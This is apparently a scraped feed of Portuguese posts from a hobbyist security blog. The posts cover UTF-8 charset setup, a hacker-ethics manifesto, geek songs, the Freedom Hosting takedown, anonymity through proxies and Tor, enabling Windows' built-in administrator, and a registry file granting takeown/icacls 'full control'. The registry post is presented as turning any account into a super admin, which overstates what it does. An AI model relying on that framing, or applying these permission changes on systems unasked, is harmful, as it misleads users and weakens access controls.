<span data-ft="{"tn":"K"}" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body"><span class="UFICommentBody" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0"><span data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0.$end:0:$2:0">$link= new PDO("mysql:host=</span></span></span><span data-ft="{"tn":"K"}" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body"><span class="UFICommentBody" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0"><span data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0.$end:0:$2:0">SeuHost;dbname=</span></span></span><span data-ft="{"tn":"K"}" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body"><span class="UFICommentBody" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0"><span data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0.$end:0:$2:0">NomeDoBancoDados;charset=utf8","</span></span></span><span data-ft="{"tn":"K"}" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body"><span class="UFICommentBody" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0"><span data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0.$end:0:$2:0">SeuUsuário","</span></span></span><span data-ft="{"tn":"K"}" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body"><span class="UFICommentBody" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0"><span data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0.$end:0:$2:0">SenhaBancoDados"); </span></span></span> <br />
*/<br />
$query[0] = <b>mysqli_set_charset($link, "utf8"); </b><br />
//ou <b>mysqli_query($link, "SET CHARACTER SET utf8");</b><br />
$query[1] = <b>mysqli_query($link, "SET NAMES 'utf8' ");</b><br />
$query[2] = <b>mysqli_query($link, "SET character_set_results=utf8");</b><br />
?><br />
<br />
Todos os SETs de charset se tornam desnecessários se você já tiver colocado o banco de dados com charset em UTF-8 como visto se vê no tópico abaixo:<br />
<h3>
MySQL:</h3>
<h3>
</h3>
<span style="font-weight: normal;">C</span>lique no banco de dados ou em alguma tabela dele, e aparecerá uma tela como esta abaixo.<br />
<ul>
<li>Se você clicar no link do nome do banco de dados para colocar todo o banco em UTF-8, Vá em "Operações" e no grupo "Agrupamento (Collation)" selecione: "<i><b>utf8_general_ci</b></i>".</li>
</ul>
<ul>
<li>Se você for em alguma tabela do banco e quiser colocar ela para UTF-8, vá também em "Operações" e no grupo "Opções da Tabela", e no "Agrupamento (Collation)" selecione "<i><b>utf8_general_ci</b></i>".</li>
</ul>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinFHW10pe-X3KHTBcbeL-AcQ1LJELWtWXaah8kA-y4DIxMK7sYu0nfmso5Hf3Jb_EwezyQ0Y6KRtev73_K5E0_UelrflJc9OshBys2r1Qpwtg9J9hfSofqJDnVfcQ5voFUKXBvEV_1Uqhf/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinFHW10pe-X3KHTBcbeL-AcQ1LJELWtWXaah8kA-y4DIxMK7sYu0nfmso5Hf3Jb_EwezyQ0Y6KRtev73_K5E0_UelrflJc9OshBys2r1Qpwtg9J9hfSofqJDnVfcQ5voFUKXBvEV_1Uqhf/s1600/4.png" width="400" /></a></div>
<br />
Pronto, agora seu banco de dados ou tabelas estarão colocando os dados para UTF-8.<br />
<br />
<h3>
<b>Framework CodeIgniter</b>:</h3>
<h3>
</h3>
Se você usa algum framework, é provável que ele tenha uma área só de configuração de com uma instância para charsets. Como um extra trago aqui rapidamente o local onde estão as configurações dele a respeito.<br />
<br />
Entre no diretório principal da sua aplicação e vá no seguinte arquivo: "<i><b>application/config/database.php</b></i>"<br />
Altere o valor dos arrays $db['default']['char_set'] e $db['default']['dbcollat'] assim:<br />
<br />
<br />
<b>$db['default']['char_set'] = 'utf8';<br />$db['default']['dbcollat'] = 'utf8_general_ci';</b><br />
<br />
<h3>
Javascript</h3>
<br />
Nos seus scripts, de forma simples, basta adicionar "<i><b>charset="utf-8"</b></i> " , lembrando com clareza de que usar esse atributo é desnecessário se o arquivo for salvo como UTF-8:<br />
<div class="example_code notranslate htmlHigh">
</div>
<div class="example_code notranslate htmlHigh">
<span class="highLT"><</span><span class="highELE">script</span> <span class="highATT">src=</span><span class="highVAL">"scripts.js"</span><b>
<span class="highATT">charset=</span><span class="highVAL">"utf-8"</span></b><span class="highGT">></span><span class="highLT"><</span><span class="highELE">/script</span><span class="highGT">></span><br />
<br />
<h3>
CSS:</h3>
No <u>início</u> das suas StyleSheets, coloque o código: <b>@charset "UTF-8";</b></div>
<div class="example_code notranslate htmlHigh">
</div>
<h3>
XML:</h3>
<h3>
</h3>
Relativamente simples também, quando for iniciar um XML basta adicionar: "encoding=utf-8" :<br />
<div class="example">
<div class="example_code notranslate htmlHigh">
<span class="highLT"><</span><span class="highELE">?xml</span> <span class="highATT">version=</span><span class="highVAL">"1.0"</span> <b><span class="highATT">encoding=</span><span class="highVAL">"utf-8<b>" </b></span><span class="highATT"></span></b>?<span class="highGT">></span>
</div>
</div>
<br />
<br />
<br />
Pronto! Você nunca mais terá problemas com charsets "bugando" na sua vida!<br />
<br />
<span style="font-size: xx-small;">Pesquisas relacionadas:</span><br />
<ul><span style="font-size: xx-small;">
</span>
<li><span style="font-size: xx-small;">Problemas com charset</span></li>
<span style="font-size: xx-small;">
</span>
<li><span style="font-size: xx-small;">Codificação da página errada</span></li>
<span style="font-size: xx-small;">
</span>
<li><span style="font-size: xx-small;">Erro na codificação charset</span></li>
<span style="font-size: xx-small;">
</span>
<li><span style="font-size: xx-small;">UTF-8 and ISO-8859-1 Error encoding</span></li>
</ul>
Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-3370927311087374382.post-76109608747685100162014-03-10T01:25:00.001-03:002014-03-10T01:25:39.488-03:00Atividades e mais atividades - manifesto e planos<div dir="ltr" style="text-align: left;" trbidi="on">
Fala aí galera. <br /><br />Estou passando por tempos curtos agora, estou trabalhando e logo logo começo a fazer faculdade. Estou gerenciando outro blog agora mais estruturado que esse, e estou em um grupo sério de Segurança da Informação. Estou pensando em transferir os melhores posts daqui para lá, e desativar esse blog, que chegou já a bater incríveis metas de 2 mil visitas em um dia (que para um blog de segurança eu considero muito!). Entretanto tenho uma certa pena em desativar, pois muito tempo gastei para criar boas postagens, por isso ainda penso em transferir para lá. <br /><br />É uma pena a juventude hoje, principalmente essa galerinha que está se criando no Facebook, colocando máscara de guy fawkes e usando 5 programas e Backtrack, se achando hackers, sem ao menos saber programação e entender um mínimo de redes... Já dei esse manifesto várias vezes, de que isso estava longe de ser Hacking ou Segurança da Informação. As pessoas já confundem Hacking com Cracking devido a atividade da mídia que prega errado o uso das duas palavras. Aí chegam os moleques com máscara de Guy-Fawkes destruindo mais ainda a cultura original. Hacking é muito mais do que burlar, do que descobrir, do que construir. É uma cultura, um modo de viver, onde os principais objetivos giram em torno de ser cada vez mais esperto, espontâneo e inteligente. Dominar a própria mente, para assim dominar as máquinas. Um Hacker programa em várias linguagens, geralmente entende um pouco de eletrônica, entende um pouco de redes e de como funcionam internamente os sistemas operacionais. Não é aquele Pentester, nem aquele cracker. Hacker em si, pelo próprio pensamento, não busca reconhecimento nem fama. Ele busca evoluir, pensar, ser mais inteligência, e usa a computação a seu favor, pois ela ajuda a resolver problemas, já que foi pra isso que a computação realmente veio, resolver cálculos complexos e demorados. O Hacker aproveita o poder do computador para construir sistemas, resolver problemas de formas inteligentes e descobrir novas coisas, e não destruir, crackear, fazer defacements e cometer crimes ridículos. <br /><br />Vou confessar que também comecei da forma errada. Antigamente eu procurava coisas como "Site hacker", "Ferramentas hacker", "Como hackear tal coisa" no Google... E todos os resultados davam em lugares impróprios e ridículos, cheio de ferramentas e coisas que não deviam. Um dia então procurei por "Como ser um Hacker". É claro que você sabe, as pesquisas retornaram vários resultados, mas o único que dei pouca importância, e o que mais merecia foi esse: <a href="http://jvdm.sdf1.org/pt/raquer-howto/" target="_blank">http://jvdm.sdf1.org/pt/raquer-howto/</a> . Trata-se do How To escrito por Eric Raymond, hoje o responsável pela Open Source Foundation. Fui ler muito tempo depois, e com certeza é esse o "Como ser" sagrado que todos os aspirantes a hacker deveriam ler. Esse artigo ilustra perfeitamente como era na época que surgiu o Hacking e como se popularizou a cultura, o início e como ela se estruturava. Esse artigo é o portal para o infinito. Então meus caros, leiam-no, e comecem a suar se entenderam o que realmente é o Hacking e querem seguir esse caminho. Se escolher seguir, tenha acima de tudo, respeito pelas pessoas que sabem tanto pouco como muito, seja atencioso, humilde e modesto. Há um poder incrível em seguir essespilares para o aprendizado. Passem bem. Não sei se irei mais postar aqui.<br /><br /></div>
Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-3370927311087374382.post-3905610238863011062013-10-19T17:41:00.002-03:002013-10-19T20:03:56.459-03:00Feliz dia dos Computer Geeks !<div dir="ltr" style="text-align: left;" trbidi="on">
Fala aí galera tudo certo? Parabéns aí a todos vocês que trabalham com informática ou computação! Faz um tempo que eu não posto, ando muito ocupado, entretanto esse dia eu não podia deixar passar em branco!<br />
<br />
Em homenagem pesquisei e achei músicas pros computer geeks pra vocês se divertirem e rirem um pouco. Tirem o dia de folga!<br />
<div>
<br /></div>
<div>
Aí vai uma popular, a Code Monkey<span style="background-color: white; color: #333333; font-family: arial, sans-serif; line-height: 17px;"> </span><span style="font-family: inherit;"><span style="background-color: white; color: #333333; line-height: 17px;">de </span><span style="background-color: white; color: #333333; line-height: 17px;">Jonathan Coulton:</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/v4Wy7gRGgeA?feature=player_embedded' frameborder='0'></iframe></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<a name='more'></a><br /><br />
<div class="separator" style="clear: both; text-align: center;">
Aí vem - And So You Code - Paródia de Stromae - Alors on dance:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/Eq3CuMDXaPs?feature=player_embedded' frameborder='0'></iframe><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
Uma das mais tranquilas, de Julia Ecklar - The Eternal Flame (made with Lisp!):</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/5-OjTPj7K54?feature=player_embedded' frameborder='0'></iframe></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Write in C! - Parodia de "Let it be" :</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/H4YRPdRXKFs?feature=player_embedded' frameborder='0'></iframe><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Lady Java:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://img.youtube.com/vi/Mk3qkQROb_k/0.jpg" height="266" width="320"><param name="movie" value="http://youtube.googleapis.com/v/Mk3qkQROb_k&source=uds" /><param name="bgcolor" value="#FFFFFF" /><param name="allowFullScreen" value="true" /><embed width="320" height="266" src="http://youtube.googleapis.com/v/Mk3qkQROb_k&source=uds" type="application/x-shockwave-flash" allowfullscreen="true"></embed></object><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
I am a computer programmer:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/QsxbbHG7KT8?feature=player_embedded' frameborder='0'></iframe><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
XP & 98 Sounds attempt :</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/dsU3B0W3TMs?feature=player_embedded' frameborder='0'></iframe><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
We Code Hard!:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/KC8lt--rEEo?feature=player_embedded' frameborder='0'></iframe><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Beast 1333 - Anonymous:</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/1XFSAeLo65Q?feature=player_embedded' frameborder='0'></iframe><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Darkwin 1337 Haxxor :</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/-ieJtn73e1w?feature=player_embedded' frameborder='0'></iframe><br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Essa lista de músicas pode ser atualizada! Mandem suas músicas Geeks!</div>
<div style="text-align: left;">
<span style="background-color: white; color: #333333; line-height: 17px;"><br /><br /><br /><br /><span style="font-family: Courier New, Courier, monospace; font-size: xx-small;">Pesquisas Relacionadas:</span></span><br />
<br />
<ul style="text-align: left;">
<li><span style="color: #333333; font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="line-height: 17px;">hackers song</span></span></li>
<li><span style="color: #333333; font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="line-height: 17px;">programmers music</span></span></li>
<li><span style="color: #333333; font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="line-height: 17px;">programming song</span></span></li>
<li><span style="color: #333333; font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="line-height: 17px;">coders music</span></span></li>
<li><span style="color: #333333; font-family: Courier New, Courier, monospace; font-size: xx-small;"><span style="line-height: 17px;">computer geek music</span></span></li>
</ul>
<span style="background-color: white; color: #333333; line-height: 17px;"><span style="font-family: inherit;"><br /></span></span></div>
</div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-16706726239627392512013-08-12T18:17:00.000-03:002013-09-09T15:49:01.974-03:00Deep Web Onion Router fora do ar!<div dir="ltr" style="text-align: left;" trbidi="on">
A Onion (parte da Deep Web) foi suspendida semanas atrás. O FBI prendeu na Irlanda Eric Eoin Marques, 28, criador do Freedom Hosting, que hospedava uma parte de sites da Onion. Centenas de sites ficaram offline. A possível grande sacada foi um script malicioso que estaria identificando usuários que acessassem a rede do usuário revelando o IP verdadeiro. A suposição foi que o FBI poderia estar utilizando essa falha para identificar os usuários, depois de ter tomado a Hidden Wiki (que também era hospedada no Freedom Hosting). O blog do Torproject sugeriu que usassem sistemas operacionais Linux ao entrarem das próximas vezes, por motivos técnicos de que a falha poderia não ser tão grave em tais sistemas.<br />
<br />
<br />
Fontes:<br />
<a href="http://g1.globo.com/tecnologia/noticia/2013/08/fbi-prende-operador-de-servicos-ocultos-na-rede-anonima-tor.html" target="_blank">http://g1.globo.com/tecnologia/noticia/2013/08/fbi-prende-operador-de-servicos-ocultos-na-rede-anonima-tor.html</a><br />
<a href="http://blogs.estadao.com.br/link/ataque-identifica-usuarios-do-tor/" target="_blank">http://blogs.estadao.com.br/link/ataque-identifica-usuarios-do-tor/</a><br />
<a href="https://blog.torproject.org/blog/hidden-services-current-events-and-freedom-hosting" target="_blank">https://blog.torproject.org/blog/hidden-services-current-events-and-freedom-hosting</a><br />
<a href="http://thehackernews.com/2013/08/Firefox-Exploit-Tor-Network-child-pornography-Freedom-Hosting.html" target="_blank">http://thehackernews.com/2013/08/Firefox-Exploit-Tor-Network-child-pornography-Freedom-Hosting.html</a><br />
<a href="http://meiobit.com/135163/rede-tor-sofre-ataque-freedom-hosting-deixa-metade-dos-sites-onion-fora-do-ar/" target="_blank">http://meiobit.com/135163/rede-tor-sofre-ataque-freedom-hosting-deixa-metade-dos-sites-onion-fora-do-ar/</a><br />
<br />
<br />
<br /></div>
Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-3370927311087374382.post-52529256145182535262013-07-20T23:25:00.001-03:002014-12-11T21:20:12.266-02:00Como ficar anônimo na Internet e navegar com segurança<div dir="ltr" style="text-align: left;" trbidi="on">
Muitos são os jeitos de ficar anônimo na internet, sejam eles por ferramentas, sites, proxys, serviços etc.<br />
Hoje mostrarei modos fáceis de ficar "invisível", ou seja, mudar e usar outro IP para poder navegar anônimo.<br />
<br />
Se você deseja deixar o computador seguro veja nosso <a href="http://dutrahacking.blogspot.com.br/2013/02/como-deixar-o-computador-seguro.html" target="_blank">outro post aqui.</a><br />
<br />
<h3 style="text-align: left;">
1º Método </h3>
<div>
<br /></div>
Um dos modos fáceis, é usar o velho e bom site <a href="http://anonymouse.org/" target="_blank">Anonymouse</a> ou o <a href="http://www.hidemyass.com/proxy/" target="_blank">Hide my Ass!</a> Irei usar o Anonymouse de exemplo, depois você entenderá como funciona e irá pegar o jeito.<br />
<ol style="text-align: left;">
<li>Seguindo o link, vendo a página do Anonymouse, escolha a opção Inglês (por ser mais compreensível a nós); </li>
<li>Você vai estar na página /anonwww , depois é só escrever o link do site em que você quer visitar e clicar em <u><i><b>surf anonymously</b></i></u>;</li>
<li>Pronto, agora você estará usando um IP diferente na página em que você quer visitar, tudo bem automático e nem precisa de tanto esforço. Para testar realmente se o IP é diferente, e<a href="http://meuip.net/" target="_blank">ntre <u>nesta </u>página com o Anonymouse</a> e veja o IP mudado.</li>
</ol>
<br />
<a name='more'></a><br />
<h3 style="text-align: left;">
2º Método </h3>
<div style="text-align: left;">
Usar a extensão de navegador do Hide my Ass, que automaticamente criptografa sua conexão e te manda pro site, fazendo quase igual o serviço do Anonymouse. É disponível apenas para os navegadores Google Chrome e Mozilla FireFox. <a href="http://www.hidemyass.com/software/proxy-browser-extension/" target="_blank">Para acessar, clique aqui.</a><br />
Depois aparecerá um borão amarelo do hidemyass no navegador. A partir daí é só clicar nele e navegar anônimo.</div>
<div style="text-align: left;">
<br />
<br />
<h3 style="text-align: left;">
3º Método</h3>
<div>
<br /></div>
<div>
Usar o software do Tor Project, o Tor browser :<a href="https://www.torproject.org/download/download" target="_blank">https://www.torproject.org/download/download</a> , um navegador anônimo que faz inclusive acesso à <a href="http://dutrahacking.blogspot.com.br/search/label/Deep%20Web" target="_blank">Deep Web</a>. Após baixar é só extrair para uma pasta específica e executar o <i>Start_tor_browser.exe .</i></div>
<div>
<i><br /></i></div>
<h3 style="text-align: left;">
4º Método</h3>
<div>
<br /></div>
<div>
Mudar seu proxy e port no navegador. Aqui mostro apenas alguns sites que fornecem um IP para o proxy e a parta: <a href="http://www.hidemyass.com/proxy-list/" target="_blank">Hide my ass proxy</a>s , <a href="http://www.freeproxylists.net/" target="_blank">Free proxy lists</a> , <a href="http://www.cool-proxy.net/proxies/http_proxy_list/sort:score/direction:desc" target="_blank">Cool Proxys</a> . Escolha um Ip da lista que contenha uma boa <u><i>resposta/response</i></u>, que esteja em nível <i><u>anônimo/anonymous</u></i>, com <u><i>boa transferência</i></u>, e que esteja <i><u>trabalhando bem/working</u></i> . Depois de escolher um IP, abra seu navegador para mudar o proxy:<br />
Se seu navegador for:</div>
<div>
<br /></div>
<div>
<span style="background-color: white; color: blue; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">G</span><span style="background-color: white; color: red; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">o</span><span style="background-color: white; color: yellow; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">o</span><span style="background-color: white; color: blue; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">g</span><span style="background-color: white; color: lime; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">l</span><span style="background-color: white; color: red; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">e</span><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;"> </span><span style="background-color: white; color: blue; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">C</span><span style="background-color: white; color: red; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">h</span><span style="background-color: white; color: yellow; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">r</span><span style="background-color: white; color: blue; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">o</span><span style="background-color: white; color: lime; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">m</span><span style="background-color: white; color: red; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">e </span><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">- Configurações > Configurações avançadas > Alterar configurações de Proxy > Conexões > Configurações LAN > - mude seu IP/server e porta;</span><br />
<br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;" />
<span style="background-color: white; color: blue; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">Mozilla</span><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;"> </span><span style="background-color: white; color: orange; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">Firefox</span><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;"> - Ferramentas > Opções > Avançado > Rede > Configurar conexão > Configuração manual de proxy > - mude seu IP/server e porta;</span><br />
<br style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;" />
<span style="background-color: white; color: #0b5394; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;">Internet Explorer</span><span style="background-color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 15px; line-height: 21px;"> - Ferramentas > Opções de Internet > Conexões > Configurações LAN > - mude seu IP/server e porta.</span></div>
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br />
Depois de aplicado algum método, você pode usar esse site para ver o novo IP:</div>
<div style="text-align: left;">
<a href="http://meuip.net/">http://meuip.net/</a></div>
<div style="text-align: left;">
<br />
<h3 style="text-align: left;">
Métodos de Segurança para um Usuário anônimo</h3>
<div>
<br /></div>
<div>
<div style="text-align: left;">
- O uso do <a href="https://crypto.cat/" target="_blank">CryptoCat</a> para aqueles que desejam conversar em segurança é inevitável. Realmente uma ferramenta útil, parecendo um IRC mais atual, totalmente encriptado. CryptoCat é um plug-in para Firefox e Chrome para poder realizar conversas de modo seguro, em anônimo. Para basta abrir uma nova aba no navegador e clicar no novo ícone do CryptoCat para criar uma sala e um usuário para usar, depois é só convidar outras pessoas a entrarem na mesma sala.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
- Usar a extensão <a href="https://www.eff.org/https-everywhere" target="_blank">HTTPS Everywhere</a> que faz com que obrigatoriamente sua conexão seja criptografada em todos os sites que tiverem serviço SSL (secure sockets layer) criptografando todos os dados que serão enviados ao site.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
-Usar um editor de Cookies para poder excluir, modificar ou adiciona-los no navegador. Isso é uma tática de segurança caso algum cracker vá pegar seus cookies e roubar suas sessões pelo navegador. Para o Chrome existe o <a href="http://www.baixaki.com.br/site/dwnld103132.htm" target="_blank">Edit This Cookie</a> e para o Firefox o <a href="https://addons.mozilla.org/pt-br/firefox/addon/edit-cookies/" target="_blank">https://addons.mozilla.org/pt-br/firefox/addon/edit-cookies/</a></div>
<br />
<br />
<br />
<br /></div>
</div>
<div style="text-align: left;">
<br /></div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-37780685521159290102013-07-19T14:57:00.002-03:002013-07-19T14:57:38.932-03:00Como ativar o administrador no Windows em outra conta.<div dir="ltr" style="text-align: left;" trbidi="on">
<br />Bom, se você já tentou clicar com o lado direito do mouse no arquivo, em "Executar como administrador" e não funcionou, nem funcionou em "Propriedades > ir na aba Segurança" alterando as permissões de usuários, então você precisa abrir o Prompt de comando (todos os programas > acessórios > Prompt) e digitar:<br /><br /><code><b>net user administrator /active:yes</b> </code><br />
<br />
E depois caso queira voltar à conta normal coloque ao invés de<i> /active:yes</i> , coloque <i>/active:no </i>e depois execute apertando enter.<br />
<br />Se você busca pela escalação de Super Administrador, vejo nosso outro post:<br />
<a href="http://dutrahacking.blogspot.com/2013/07/como-se-tornar-super-admin-com-qualquer.html" target="_blank">http://dutrahacking.blogspot.com/2013/07/como-se-tornar-super-admin-com-qualquer.html</a><br />
<br />
<br /><br />
<br />
<br /></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-78828660736659746522013-07-19T14:35:00.000-03:002013-07-21T03:18:35.180-03:00Como se tornar Super Admin com qualquer conta no Windows<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
Esse código que modifica o registro do windows faz o usuário se tornar um super usuário com direitos privilegiados. Essa função será bem usada quando você não conseguir modificar um arquivo, dizendo que tem acesso negado ou falta de privilégios administrativos.<br />
<br />
Copie o código abaixo no bloco de notas e salve " nome que você quiser .REG" sem aspas. Depois é só executar o arquivo e aceitar a modificação.<br />
<br />
<br />
<a name='more'></a><br />
<br />
<code>Windows Registry Editor Version 5.00<br />
<br />
[HKEY_CLASSES_ROOT\*\shell\runas]<br />
@="Admin Full Control"<br />
"NoWorkingDirectory"=""<br />
<br />
[HKEY_CLASSES_ROOT\*\shell\runas\command]<br />
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"<br />
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"<br />
<br />
[HKEY_CLASSES_ROOT\exefile\shell\runas2]<br />
@="Admin Full Control"<br />
"NoWorkingDirectory"=""<br />
<br />
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]<br />
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"<br />
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"<br />
<br />
[HKEY_CLASSES_ROOT\Directory\shell\runas]<br />
@="Admin Full Control"<br />
"NoWorkingDirectory"=""<br />
